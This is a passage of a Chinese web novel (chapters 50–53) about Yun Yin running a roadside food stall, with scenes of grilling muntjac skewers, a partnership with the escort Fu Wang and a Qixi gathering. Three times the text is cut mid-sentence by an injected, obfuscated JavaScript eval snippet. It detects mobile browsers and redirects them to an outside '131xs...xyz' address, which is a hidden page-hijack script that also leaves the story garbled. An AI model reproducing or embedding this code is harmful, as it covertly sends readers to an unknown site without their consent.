，他道，“我们摘杨梅也是要走很远的，又要挑选最好的，要是价格太低，我们也不划算了。” 这个杨梅虽然很酸，但她是拿来泡酒的，1文钱两斤，价格已经很划算，她目前也只遇到这一个人卖杨梅，她颔首道：“行，那就这个价格吧。” 陈四郎听到云音真的收下他这杨梅，高兴道：“好咧，我这就给您装起来。”他把背篓里的杨梅倒到郑桂兰拿来的盆里，接过云音递过来的钱道，“云娘子，你下次还想要，可以告诉我们，我们再给你送，就算我去服役，我家里兄弟也可以给你送。” 云音颔首道：“嗯，你们若是有发现其他菌子，也可以给我送来。”她把今日采的几种蘑菇递给他看，“这些蘑菇，我这里都收。” 陈四郎认真看了几眼道：“原来云娘子这些菌子也要，那我知道了，我之前还以为你不要，所以没把这些菌子带上，等之后我们采了，再给你送来。” 云音用清水洗一洗杨梅，之后倒入盐水里泡着，泡好晾干的杨梅便能拿来泡酒，方法与之前泡青梅酒方法一致，云音打算多泡些果酒，等日后接待女客时，能用上。 杨梅酒泡好，云音把它们搬回住的地方，此时她的房间已经摆了很多酒罐，里面都是各种果酒，她贴上浸泡时间和名称，与其他酒放到一起，离开时，想到自己之前有一本美食记录，她想看看里面有没有记录一些野味相关的菜色。 她打开翻了翻，里面记载了不少古法制作菜肴的方法，还真让她看到一句写了獐子肉的，但也只是介绍升平炙的做法，那是用獐、鹿舌炙烤而成，不过她有写到，獐肉性温热，阴虚火旺者不宜多食，且不宜与鸽肉和虾肉同食。 虽然没有具体做法，但能知道一些禁忌也好，她把本子放好，沉思片刻知道该如何制作獐肉了。 獐肉瘦柴，需要与油脂丰富的食材一起炙烤，那就选一块上好的五花肉与之同烤，这样味道也能更加丰富。 吃完午事，休息片刻她去搭建了一处烧烤的地方，既然已经决定吃烤獐肉，那也其他的食材也可以烤起来，晚上吃一顿烧烤也不错，虽然没有辣椒烧烤差些味道，但用茱萸替代一下，再撒上椒盐，味道也是不错的。 她从留下的獐子肉里精心挑选一大块里脊肉，又从泉水里取出一块五花肉，獐肉味腥，一定要提前腌制，去除它的腥味，之后把这两种肉混合串成串，然后把其他菜也串好。 郑桂兰收拾好桌子后，也坐过来帮忙串肉，她拿过一盘子切好的羊肉问：“云娘子，这些全部都要串上？” “嗯，都用了吧。”云音边干活边回她道，“晚上或许有商队露宿，多串些到时候也能卖给他们，再说好不容易能做一次烤肉，一次性吃个过瘾才好。” 郑桂兰道：“我知道了。” 两人坐在树荫下串肉，串好的肉拿去腌制，用冰块保存，云音看着消耗过快的冰块，期盼客栈快点建好，这样以后可以把需要冷藏的食物，放到水井里，也能少用些冰块来保存食物。 傅望带着罗田回来时，他们三人全都坐在那里串肉，云音旁边堆满一大盆串好的肉，那场面看着很是热闹。 50. 第50间客栈 傅望坐到云音身旁道：“罗娘子让我跟你说一声，她的事情已经解决了。”他洗了手帮忙，继续道，“她还说，多谢你收留罗田，让他有个正经事，她替罗田家人感谢你。” 云音：“既然罗娘子那边没有意见，那明日与他签订契约，以后他就留在我这里干活，想要去军营的罗三和罗四什么时候送他们去？” 傅望：“过段时间周昌正好要安排新兵去军营报道，他们跟着一起去就好。” 此时太阳快要下山，天气也凉快一点点，没之前闷热了，云音之前搭建的简易烧烤炉也已经晒干，可以使用。 她把木炭丢到灶台里燃烧，烧烤用的调料也摆在一边的桌子上。一队行商恰好走到附近，看到这里人潮涌动，打发人过来询问，得知这里是个饭摊，可以吃饭时，领头安排人看着货物，他带着过来询问道：“掌柜的，你这里有什么吃的？” 云音招呼他：“最近是吃菌子的季节，我们这里有新鲜的菌子，若是想喝汤，我们也可以给你煲汤。当然今天晚上我们做炙烤，你看你有没有想吃的。” 她示意客人看旁边的桌子，上面已经摆了满满一桌子食物，肉的素的五花八门，应有尽有。 他问：“这些菜什么价格？” 云音道：“素菜1文钱3串，猪肉2文钱一串，羊肉三文钱一串，野味价格会贵点，要5文钱一串。” 他眉头皱了皱：“这肉有点贵啊。” 云音道：“肉本来就贵，我这个价格很实惠了。” 他思索一会儿后道：“行吧，那给我们来三十串猪肉，二十串羊肉，十串野味，三十串素菜吧。” 他指着那野味问：“这是什么肉？” “是獐子肉呢。”云音拿着他点好的菜去烧烤炉烤，回他道。 “原来是獐子肉，怪不得这么贵。”他诧异道，“那再给我们来十串獐子肉吧，这个肉挺好吃的，平时想吃还吃不到。” 云音笑着应下，接他的话道：“确实是，也是你们今天运气好，刚好猎了一头新鲜的。” 红彤彤的炭火上摆满了肉串，腌制好的肉串刷一点油，油脂滴到炭火上，瞬间弥漫起一股呛人的烟味，肉与火焰碰撞，发出滋滋的响声。 随着云音不停给肉翻身，烤肉的香气弥散开来，坐在一旁等着的管事闻了闻这味道，咽了咽口水，看向云音道：“掌柜的，你这炙烤肉也太香了吧，放了什么啊。” “没放什么，只是提前腌制过。”她继续给肉翻身回他，“新鲜的肉烤一烤就很好吃了，我又用葱姜蒜等调料腌制过后，香味会更浓郁。” 她见肉差不多要熟了，问客人道：“您吃花椒吗？不吃，我就只给您放点盐了。” 那人看着已经快熟了的肉串道：“我们吃花椒。” 听到他说吃花椒，她把椒盐撒到肉上，随着花椒的香味融入肉中，麻辣的味道呛的那客人直咳嗽，即便已经如此，他仍然不打算挪动地方，喝着苦苦的凉茶，等待着他的肉串。 “好了，您点的二十串羊肉和二十串獐子肉。”张林把肉串放到盘子里端上去道，“猪肉马上来，您稍等片刻。” 客人根本没听张林在说什么，肉串一上桌，他便拿起一串獐子肉猛吃起来，瘦而不柴，獐子肉的独特的草木味还能品尝道，一丝丝麻遮盖住了獐子肉的野腥味，两片獐子肉中间夹着一片油润的五花肉，让它不会发硬干涩，最后加的一点点糖则是点睛之笔，回味起来只记得肉的香甜。 炙烤羊肉又与獐子肉是完全不同的口感，柔嫩鲜甜，一点羊肉的膻味也没吃出来，他不自觉点头道：“这羊肉真好。” 云音笑着道：“自然，这是正宗从西域来的羊，味道自然不同。” 他的同伴也点头道：“确实，跟我们在西域吃的羊没什么不同。” 他们吃完肉串，云音的素菜也烤好了，茄子自不必说，烧烤必备的，加一点蒜蓉和葱花，味道能香死人，其他的菌菇也是必须要的，当然豇豆也必不可少。 所有菜上完，那一桌客人吃的很满足，拍拍肚子道：“这炙烤的菜真好吃，我还没吃过烤的呢。” 另一个人嘲笑他道：“是你见识少吧，长安便有，不过价格挺贵的，我还没去吃过。小娘子家的价格还挺实惠的，味道也好。” 云音继续烤着她的肉串，笑道：“你们喜欢就好。” 那人又道：“可惜没有酒，不然更惬意。” 云音抱歉道：“我们家现在还不卖酒，实在抱歉。” 其实云音家里是有酒的，除了果酒还有米酒呢，只是她担心喝酒后人多容易出事，她便不打算卖米酒，果酒酒精含量会少很多，喝多了也不会醉，她便只打算卖些果酒。 可惜果然还不到能喝的时候，所以今天是没酒喝了。 客人也表示理解，他道：“我也只是说说，出门在外，可不敢喝酒，醉了就不好了，我也只是说说罢了。” 云音把烤熟的肉串递给傅望，又回那客人一句：“你们是从长安来的？” 那客人摇头道：“我们是从西域过来的。” 云音好奇道：“那你们怎么没在长安出手货物，反而来了剑南道？” “送到长安的东西一定要是最好的，我们手里的货品质一般。”那客人叹气道，“听说剑南道的蜀锦天下一绝，我们想着过来看看，能不能弄些蜀锦回西域，想必能大赚一笔。” 傅望一边吃着烤肉，一边道：“你们有渠道吗？若是没有，我还是不建议你们带蜀锦回去。” “蜀锦的价格你们是知道的，能当钱用。”他打量了这几人一眼道，“说句不好听的，就算你们买到蜀锦，也未必能安全带到西域。” 那领头的人见傅望气宇轩昂，好奇道：“郎君是做什么？也是走商的？” 傅望摇头道：“我只是走镖的，常常帮人送货，所以知道些情况。”他笑笑道，“你觉得为什么贩卖蜀锦的商队，都是大商队？” 那领头的人沉思片刻道：“你说的有道理，我们再考虑考虑。” 云音递给傅望一串青菜道：“别光吃肉，也吃点青菜。” 傅望笑笑道：“嗯，我知道了，多谢关心。” 云音：“你们继续吃，我去给钱四他们送一些过去。” 傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365665|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望：“我陪你一起去吧。” “不用，你在这里还能陪客人聊聊天，跟我去干嘛。”说完她带着烤串一溜烟往客栈方向跑去。 张林从傅望身旁经过，拿着一串烤肉道：“这肉真好吃，傅郎君也吃啊，云娘子做的吃食可真好吃。” 傅望对他颔首一笑，坐到一旁认真品尝起来。 郑桂兰给女儿拿了一串清淡的肉串：“嗯，确实好吃，自从跟了云娘子，每天都吃的好饱，我都一把岁数，还长个了。” 方荷哼哧哼哧吃着肉串，点头道：“我也长个了。” 这边其乐融融，客栈那边也正在吃晚食，云音到时正好看到钱四的妻子做好饭菜，她上去看了眼，水煮白菜，水煮萝卜，还有每人两个杂粮馒头。 钱四看到云音过来，起身迎接道：“云娘子这是又来送什么？不用这么客气。” 云音笑笑：“今天正好做了烤肉，送一些过来给你们尝尝鲜，也没多少，一人一串肉，素菜准备的多，你们可以多吃些。” 钱四看着篮子里冒着热气的肉道：“您真是太客气了，我不知道该说什么好，您放心，我一定帮你把房间建的又结实又漂亮。” 云音：“那感情好，你们多注意，凉茶喝完了记得找张林给你们送，这么热的天，也是辛苦你们了。”她算了算日子，问钱四，“不知道，客栈还有多久能建好。” 钱四掐指一算，“若是之后天气好，差不多7月底能建好。” 云音眼前一亮道：“那不是能赶在中秋前吗，这真是太好了，那就麻烦钱工，还望你多费心。” 钱四道：“是我分内的事情。” 想到还有一个月客栈便要建好，她要好好计划一下开业活动，让龙安县和北江县的人都知道，这里有个客栈要开业了，日后若是错过进城的时间，可以到这里落脚。 送完肉，云音也坐下休息，一晚上都是她在烤肉，她还没吃上一口呢，她正要去拿肉串，傅望坐到她身边，递给她一盘肉道：“你还没吃吧，尝尝看，味道如何？” 云音看着这盘肉挑眉道：“你烤的啊？” “嗯，他们太能吃了，你烤的肉已经被他们吃完了。”傅望耸耸肩道，“我只好给你烤了一些，你尝尝，可能比不上你烤的，不过还算能入口。” 云音拿过一串肉尝了尝，眼前一亮道：“手艺不错啊，还挺好吃的，你也太过谦虚。” 傅望松了口气道：“我还怕你吃不习惯，我们平时烤肉没放那么多调料，只放盐就吃了，还怕调料掌握的不到位，你觉得不错那就好，你多吃些，今天辛苦你了。” 云音坐在树下，吃着傅望烤的肉，眯着眼睛仔细感受，“挺好的，椒盐放的不多不少，正好合适，没有喧宾夺主，不是吃的调料的味道。” 傅望闻言笑道：“嗯，你喜欢我就放心了，既然这样，那我再去帮你烤一些，你好好休息吧。”他正要走，想起什么，问云音，“你还想吃什么？烤菌子吃不吃，你不是很喜欢嘛，还特意去山里采摘。” 云音笑笑：“可以的，我都行，你随意些。”她抬眼看着傅望的背影，陷入沉思。 51. 第51间客栈 是她感觉出了问题吗？她怎么感觉傅望在讨好她，他想做什么？ 云音一直盯着傅望的身影，想来想去也没想出所以然来，她也不再纠结，等傅望坐过来时，直接问：“你有事求我？” 傅望动作一顿，诧异道：“你为何这样问？” 云音死死盯着他道：“我觉得你最近怪怪的，太关心我，也太体贴了，有点像求人帮忙时的态度。” 傅望听到她这句话，扶了扶额头道：“没有，我没事求你，关心你还不好吗？” “嗯，感觉还挺好的。”云音仔细体会一下这段日子与傅望的相处，认真点头道，“有朋友真好，谢谢你哦，傅望。” 傅望怔愣片刻后缓缓道：“能让你感受到开心，我也很高兴。” 他迟疑片刻后问：“我可以叫你名字吗？你也叫我名字，如何？” “傅望？” 傅望仰头看着她道：“嗯，阿音。” 云音咦了一声道：“你干嘛叫我阿音啊。”好久没人这么叫她，她一时还有些不习惯。 傅望看着她道：“不可以这样叫吗？” 云音摸了摸脸颊道：“可以倒是可以啦，你让我习惯习惯。” “嗯，那你慢慢习惯。”傅望收回视线看向前面，天色慢慢暗沉下来，此时树下只有他和云音，和她聊着过往，聊一些趣事，前面无论再怎么热闹，也打扰不到他们，傅望看着云音的笑颜，觉得这样也挺好的，不开窍便不开窍吧，他有足够的时间。 吃完烧烤，云音煲的竹荪菌菇汤也好了，汤鲜清亮，一点异味也没有。若是喝出异味，一定是没处理好，做竹荪时需要把头尾两端去掉，否则会有异味，煮出来的汤味道会很奇怪，当然只用竹荪中间的菌柄，煮出来的汤味道会更好。 蘑菇的鲜和竹荪融合，让整碗汤鲜而不腻，吃完烧烤后来一碗，肠胃瞬间舒服起来，蘑菇软滑，竹荪柔脆，滑脆交织，触感丰富。 云音煮了一大锅，给那一桌的客人也上了一大碗，道：“你们也尝尝，我今天刚采的竹荪，味道特别好。” 那客人回过神道：“这是送给我们的？” 云音笑道：“是啊，送你们尝尝。” 他不好意思道：“您真的是太大方了。” 云音笑笑没说话，走到傅望身边问：“汤的味道如何？” 傅望认真品尝一番道：“很鲜，与炖鸡汤是不同的鲜，味道很好。” 云音：“那之后我也把这道菜加上，只怕每日早晚都要去竹林逛一圈，看看还有没有竹荪长出来。” 两人正闲聊呢，那客人找到傅望道：“傅郎君，你说你是走镖的是吗？不知你能否接我的单子？” 云音见傅望有事要说，起身让了位置给他们，她则继续去烤些肉串，这些肉串今天要卖完，否则放到明日容易坏。 饭摊烟火缭绕，说说笑笑好不热闹，本来不打算来吃饭的过路人，也被这热闹吸引，收拾东西，往云音的摊位走来，随着人越来越多，云音的烤串也卖的飞快，她干脆把张林和郑桂兰叫过来，三人一起烤串，才刚好够用。 所有烤串卖完，云音也累了，她回到大树下休息，喝着冰水，惬意长叹，对上傅望关心的视线，她笑笑：“真舒坦，你也喝一杯吧。” 傅望坐下，看着她杯子里的冰块道：“天晚了，还是少吃些冰。” 云音耸耸肩膀道：“天太热了嘛，这种天就是要吃冰。”她还没说，她大冬天的也吃冰棍和冰激凌呢。 “你接他单了？” 傅望摇头道：“没有，接他们的单风险太大，所以我不打算接。” 云音歪头想了想道：“你觉得我们合作如何？” 傅望：“阿音想要合作什么？” 她指了指还在建的客栈道：“日后客舍建起来，肯定会有人入住，也有人或许想要运送东西，寄送东西，驿站毕竟离得远，你们可以安排一个人在这里，可以拓宽你们的业务、” “我记得你们在龙安县没有镖局对吧。” 傅望颔首：“确实没有，我们镖局设立在绵州，一般业务都在那里接的，之前有想过在县里也设立镖局，但是我们人手不够，不能全面铺开。” 云音拍了拍手道：“你看多巧，你可以把镖局设立在我这里，以后也能接附近的城镇的生意，而且我这里常有从长安过来的，西域的商队也有，正合适不过。” 傅望笑道：“阿音的提议不错，那你想怎么合作？” “一九如何？”云音笑看着他道，“你只需要留一个人在这里，得到消息后便能安排人从绵州过来，从这里到长安还是要比绵州快的。” “一九会不会少？”傅望道，“你要操心的事情也挺多的，需要了解清楚客人的情况，所携带的货物和价值，这样我们才能安排人，避免发生意外。” 云音嘿嘿道：“当然不是我做啦，你觉得罗田如何？” 傅望看向远处，罗田正和他四个兄弟卖力干活，他认真思索片刻道：“用他也可以，他毕竟是罗娘子的族人，知根知底，又有家人，不必担心，只是要用的话，还是需要带一下他才行。” 云音睁着大大的杏眼，眨巴眨巴看着他，傅望无奈道：“我下次走镖会带上他们，但是这样你这里不是又缺人呢吗？” 云音甩甩手道：“这没事，我可以雇佣人啊，既然你同意了，那我们签订契约吧，等我客栈建好，给你们也留一个地方。” 傅望：“嗯，那就照你所说。” 七月的天火辣辣，空气也变得粘稠，呼吸也变得灼热，云音擦了擦低落的汗水，与张林一起在田里忙活。 之前种的蔬菜好多都成熟了，饭馆每天吃掉一部分，还有一些她都摘了趁着大太阳，晒成了干菜，一大筐茄子、黄瓜、豇豆，晒出来也没有多少，但至少冬天时，不用只吃咸菜。 云音他们在田里忙活，傅望自然也没闲着，自从和云音达成合作，他便给王石头去了信，让他带几个人过来。当然他如今最重要的事情是给云音做家具，买回来的木头主要是柳木和榆木，榆木质地比较 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371002|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬，适合做床和桌案，而柳木的质地较软，拿来做箱子柜子和凳子在合适不过。 云音提着一篮子蔬菜过来时，傅望已经锯了不少板材，堆在阴凉处，这些木材她买的时候，商人已经干燥处理过，所以可以直接拿来做床。 她见傅望很娴熟，也不去打扰他，把今天摘的菜收拾收拾，该晒的晒干，该做咸菜的做咸菜。 汪钰带着朋友过来时，看到的便是一副热闹场面，他挑眉道：“云娘子，你今日不做午食？” 云音抬头看天，还不到中午，她转头问汪钰：“汪郎君怎么这么早过来？” 汪钰冷哼道：“我听说云娘子昨日做了烤肉，不知我们今日能否尝尝鲜啊？” 云音瞥了他们一眼道：“烤肉今天是没有了，不过有烤兔子，你们要吃吗？” 傅望今日一早进山，抓了好几只兔子，云音本想做她最想吃的冷吃兔，可惜因为没有辣椒，做出来味道肯定不美，最后还是作罢，做了广式风味的脆皮烤兔子。 脆皮水用的是之前烤乳鸽时用过的，至于腌制的酱料，则是用豆豉酱还有黄豆酱以及姜蒜等腌制，腌制好已经入味的兔子皮用热水烫过后，加入脆皮水，然后放到炭火上烤制。 汪钰他们来之前，云音正好把兔肉烤上，让郑桂兰帮忙看着火候，看情况应该差不多已经熟了。 汪钰没想到他来得正是时候，他喜笑颜开道：“那正好，给我们上一只烤兔子，再炒几个素菜，来一份汤。” 云音应下道：“最近我这里有竹荪，你们要不要吃，竹荪蘑菇汤，大家都说还不错。” 汪钰：“既然云娘子推荐，那自然是要尝尝的。”说着他推着好友坐下道，“好了，赶紧坐下，你信我，云娘子做的菜特别好吃，让你吃了还想再吃。” 他朋友打量四周环境道：“真有那么好吃？我看你上回回去念叨好几天，一到休沐时间，便拉着我往这里跑，拦都拦不住。” 汪钰嘿嘿笑道：“真的很好吃，我这次可是带足了钱，一定要云娘子帮我做一锅卤肉，我带回学里慢慢吃。” 这边云音走到郑桂兰身旁问：“桂兰，如何？” 郑桂兰：“云娘子，你来看看，我觉得差不多熟了。” 云音看了看架在炭火上的烤兔，点头道：“可以了，拿起来吧。” 两人一起把这六只兔子取下来，其中一只分了一半给傅望，剩下的他们几人分了，另外五只云音打算卖掉。 汪钰看着上桌的烤兔子，闻到诱人的香气，咽了咽口水道：“沈容，赶紧的，别磨蹭了。” 他见沈容还在用手帕擦手，皱了皱眉道：“别人都说谢彦讲究，我看你跟他也不差什么。” 沈容无奈道：“我只是习惯吃饭前擦手罢了，我可没谢彦那般讲究，吃饭还要考虑环境，累不累。” 汪钰赞同道：“确实如此，吃饭只要食物干净，味道好吃即可，再说云娘子这里只是看着简陋，还是很干净的。好了，别说了，赶紧吃吧，再不吃，这兔子肉要冷了。” 52. 第52间客栈 香脆的烤兔子身上撒了芝麻，吃到嘴里皮脆香甜，兔子肉软嫩，咸香麻的味道一入口，汪钰便被刺激到了，虽然味道很麻，但吃了还想吃，根本停不下来。 他夹着一块兔肉对沈容道：“我说的不错吧，确实很好吃。” 沈容慢条斯理夹起一块肉，微微尝了一口，细细品味一二道：“嗯，确实很香，让我也想尝尝让你念念不忘的卤肉，又是什么味道。” 汪钰道：“等我找云娘子问问。” 他话音刚落，便听到云音问：“汪郎君，你想问我什么？” 汪钰回头看着端着菜上来的两人，他轻咳一声道：“我想问问你能帮我做一锅卤肉吗？我付钱。” 云音用围裙擦了擦手，坐到他们桌上道：“你想要我帮你做卤菜，倒不是不行，只是有个条件。” 汪钰期盼道：“什么条件？” “做卤菜的卤水留给我，我不收你其他费用，你觉得如何？” “成交。”汪钰毫不犹豫应下，“你需要什么东西？我也可以提供给你。” 云音之前做卤菜用的汤底，到底是用来卤乳鸽用的，很多味道大的卤料根本没用，这次正好都用上，她道：“明日我去县城买香料，基本能配齐，若是县城也找不到，那这里就很难找到。”比如说辣椒这种东西，想找也找不到，她只能用茱萸替代了。 她想到这里，问汪钰：“你们吃辣吧。” 这段时间天热，她都没有做辣菜，也没用过茱萸，还真不确定他们能不能吃辣。 汪钰点头道：“自然吃辣，你这次要做辣的口味？” 云音：“嗯，确实是这样打算的。” 汪钰：“那我就期待着。” 说好这件事，云音不打扰他们吃饭，起身去找傅望，看着他拿着一个兔腿吃着，她问：“怎么样，这样做的兔肉你喜欢吃吗？” 傅望颔首道：“挺喜欢的。”他见云音神情有些遗憾，放下兔肉问，“你怎么了？” 云音摇摇头道：“若是有辣椒，我就能做冷吃兔了，跟烤兔子是完全不同的风味，日后你还能带着在路上吃。” “辣椒是什么？”傅望好奇询问道，“跟茱萸一样？是辣味的？” 云音怅然一会儿道：“是辛辣味道的，果实是红色的，小小一颗，跟茱萸不一样，它的植株会矮很多，刚开始很多人都把它拿来当作观赏植物，后来才拿来吃的。” 傅望：“是你家乡的食物？” 云音笑笑：“可能这里也有，只是不知道目前在哪个角落，没被人发现吧。”其实她知道辣椒现在在哪里，正在美洲长着呢，后来被传到欧洲，最后到了亚洲，也不知道如今欧洲那边有没有辣椒。 傅望见云音很惦记这个叫辣椒的东西，他问：“你有这东西的画像吗？我日后可以帮你多留意，若是有发现，我给你带回来。” 云音想到她那本树上有辣椒的图画，她眼前一亮道：“有，我晚上回去给你画，明日给你。” 傅望见她笑起来，这才放心道：“你放心，这次前往西域，我会帮你多寻找一些不常见的种子或食材，你若还有什么想要的，也可以与我说。” 云音用力点点头道：“我知道了，多谢你。” 一想到有可能找到辣椒，云音心情非常愉悦，她踩着轻快的脚步，打算回厨房，路过汪钰时，他问：“云娘子，我听说你们这里有比武看？什么时候能看啊。” 云音脚步一顿，转头问：“你听谁说的啊。” 汪钰：“就在县里听过路的人提起的，说是你们这里前几天有比试，我今天带阿容过来，除了吃你做的菜，便是来看比武的啊。” 云音与傅望对视一眼，她无奈笑道：“哪有什么比武啊，只是我跟傅郎君过了几招而已，你们太夸张了。”她竟然没想到谣言如此离谱，竟被传成这样。 汪钰一脸失望道：“我还以为能看到比武呢，这多热闹啊。” 云音想了想道：“比武倒是没有，不过若是你想看，下午我会教方荷习武，你可以坐着观看学习。” 汪钰：“我对小孩子没兴趣，还是更喜欢刺激点的。” 云音耸耸肩道：“那就没有了，我这里没有这种活动。” 就在他们两人闲谈时，一辆马车从远处驶来，万乐巧带着人下车，指挥着跟来的人道：“搬着东西跟我走吧。” 云音余光注意到来人，不跟汪钰闲谈了，走上前问：“万娘子，你怎么这个时候过来了，是之前的菜有什么问题吗？” 万乐巧摇头道：“没有，你教的很好，我们娘子很感激你，特意让我给你带了些东西过来。” 她说着让人把东西放下，对云音歉意一笑道：“回去我们娘子把我骂了，说我不该来找你讨要传家的东西，她说这些食单食谱，在世家皆是能传家的，一般不会轻易传出去。” “她十分抱歉，所以让我给你送来一匹绸子，还有些鲜花水果冰块，算是她的歉意。” 云音看着那匹质地柔软的绸子，轻叹道：“夏小娘子实在太客气了，我能教你，自然是不妨碍什么，况且你也付了束脩。” 万乐巧垂眸道：“云娘子愿意教，是您心善，我们娘子已教育过我，而且那束脩钱，我们娘子也还给我了，说都是因她之故，才出了这样的事情。” “云娘子，这些东西你收着吧，不然我回去无法交代。” 云音道：“罢了，你放下吧，替我多谢夏娘子。”她想想后转身提了一个篮子过来道，“这些蘑菇你带回去给夏娘子做菜吧，都是新鲜的菌子，也麻烦你跑一趟。” 万乐巧看着篮子里不常见的菌子，连忙道：“哪里的话，是我给云娘子添麻烦了。” 送走万乐巧，云音看着这一地的东西叹气，傅望走过来问：“怎么，有人送你东西你还不开心？” 云音摇头道：“我没有，只是这绸子我没机会穿啊，干活不方便。” 傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376838|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望看着这匹月白的绸子，略一思索道：“这绸子颜色清新，用来做夏日衣裙正合适，恰好再过几天是乞巧节，你可以穿着这衣服乞巧。” 云音抬头看向傅望：“乞巧节就要到了吗？”她想想乞巧就是七夕节，那确实过几天就是了，她道，“既然乞巧节要到了，我该做巧果了。” 傅望摇摇头道：“你只记得吃的吗？难道不知道乞巧节最重要的是什么吗？” 云音疑惑道：“那还有什么？” “罢了。”傅望长长叹气，他转移话题道，“不说这些了，你先收拾这些东西吧，冰块要尽快存好，不然要化了。” 云音见他确实不打算说什么，耸耸肩叫来张林，帮忙把这些东西搬到她房间去。 之前夏小娘子送她的荷花，她赏玩过后便已经谢了，其他的盆栽花比如牡丹此时早已花谢，如今还在盛开的花便只剩下栀子花。 栀子花非常香，云音屋外只摆了两盆，但香气四散，每日早晨醒来，她都要闻闻这花香，非常好闻。 如今夏小娘子又送她两盆茉莉花，与栀子花是不同的香，她把这两盆花放到另一边，又看向另外一盆蜀葵和蔷薇花，蔷薇红艳似火，此时正是盛开的季节，花团锦簇，煞是好看。 她看着这盆蔷薇，只要把这花好好养大，繁育除一片来，那该是多么美的景观啊，她要在建好的客栈里种上这株蔷薇，让它爬满院墙。 至于蜀葵，这种植物能长丈许，日后还需要种到院子里才行，如今还是先用花盆养着，等她之后规划好后，再看看种到哪里。好在罗娘子给她送的这盆蜀葵还小，还能在花盆里养一养。 收拾好这些花，存好冰块，云音回了饭摊，此时汪钰看到她过来，连忙道：“云娘子，我先把买香料的钱给你，我一会儿有事，便先走了，明日再来找你。” 云音接过钱袋道：“没问题，你明日过来，我下午去城里一趟，若是有剩的钱，明日一起给你。” 汪钰摆摆手道：“你看着做，我先走了哈，饭钱已经给郑娘子了。” 云音看着他们火急火燎离开，摇摇头去收拾桌子，郑桂兰把刚刚收的钱递给她。 时间就这样悄无声息的过去，很快乞巧节便到了，这一天云音的饭摊没有开张，大家聚在一起吃吃喝喝，几个女孩子凑在一起说说笑笑，几个男子只能无奈坐在一旁看她们玩乐。 云音笑眯眯问罗蔓：“阿蔓姐，你近来可好，好久没见你了。” 罗蔓白了她一眼道：“哪有好久，不是才见过吗？倒是宋小娘子，我可是许久不见，没想到你今日能来。” 宋萱用帕子捂嘴笑道：“我也是求了我娘许久，她才同意我出来，而且出来前我已经乞巧过了，所以这次出来只是陪你们玩的。” 云音：“没事，我想着今日是乞巧节，大家一起聚一聚，好久没聚了。” 她拿出之前酿的杨梅酒道：“刚好之前酿的杨梅酒能喝了，你们尝尝味道。” 53. 第53间客栈 这边说说笑笑好不热闹，另一边的几个男子消沉许多，宋时好不容易见一回罗蔓，只想安静看看她，倒是林晖也异常安静，也不知是发生了何事，傅望与他们并不相熟，所以也没开口说话。 谢彦一脸无奈道：“你们一个个的怎么死气沉沉，今日不是乞巧节吗，你们这副模样，还指望你们心上人对你们上心？” “宋时，不是我说你，喜欢就努力追求，若实在不合适，早日放手也是一种成熟的表现。你这样既不放手，又不努力，每日一副苦大仇深的模样，给谁看啊，谁会心疼你不成？” 宋时长叹一口气道：“我倒是想娶罗娘子，可是我家里人不同意，我怎么说都没有用，如今只能看能不能考中进士，这样家里就能答应了。” 谢彦摇头道：“你最重要的不是能不能考中进士，而是你能不能负起责任，你说你想娶罗娘子，你拿什么娶她，离了家里，你能挣到银子吗？你能养活妻小吗？” “若是你能养活妻小，离了家又如何，就像你说的，你明明不是读书的料，却拼命读书，如今你不开心，我看罗娘子也未必开心。” 说完宋时，他又看向林晖，皱眉道：“你怎么也无精打采的？” 林晖唉声叹气道：“今日良辰美景，我却无人可陪，哎~” 谢彦脸色瞬间黑了脸，他不再离理这两人，坐到傅望身旁，与他一起安静坐着。 云音把自己做的巧果端上来，用了各种颜色的蔬菜汁和模具，做出的巧果又漂亮又可爱。 宋萱拿起一个巧果仔细看了看，上面蔬菜叶子清晰可见，她惊奇道：“云娘子手还是这么灵巧，今年乞巧肯定能成功，能得个如意郎君。” 罗蔓也拿起一个白菜巧果看了一眼，赞同道：“之前云娘子做蜜枣酥已经很活灵活现，如今这蔬菜做的也不错，我一直觉得云娘子的手艺，在这里开个小饭馆屈才了。” 云音摇头道：“阿蔓姐总觉得觉得屈才，可我觉得这里也很自由，等房子建起来，我在这里也是有房有地的人，还能自己喜欢的，真的是快活日子。” “而且想与你们聚也随时可以出来，去了大城市可要很久见一次面。” 宋萱也笑道：“确实挺好的，阿蔓，你就别盯着阿音了，你可以把你的饭馆开到州城去啊，你们家羊肉做的也不差的。” 云音附和道：“是啊，阿蔓姐，你可以做到的。” 罗蔓摇摇头道：“我自然是想的，不过如今县城的生意才上正轨，等一切顺利，我把厨师培养出来，我会考虑的。” 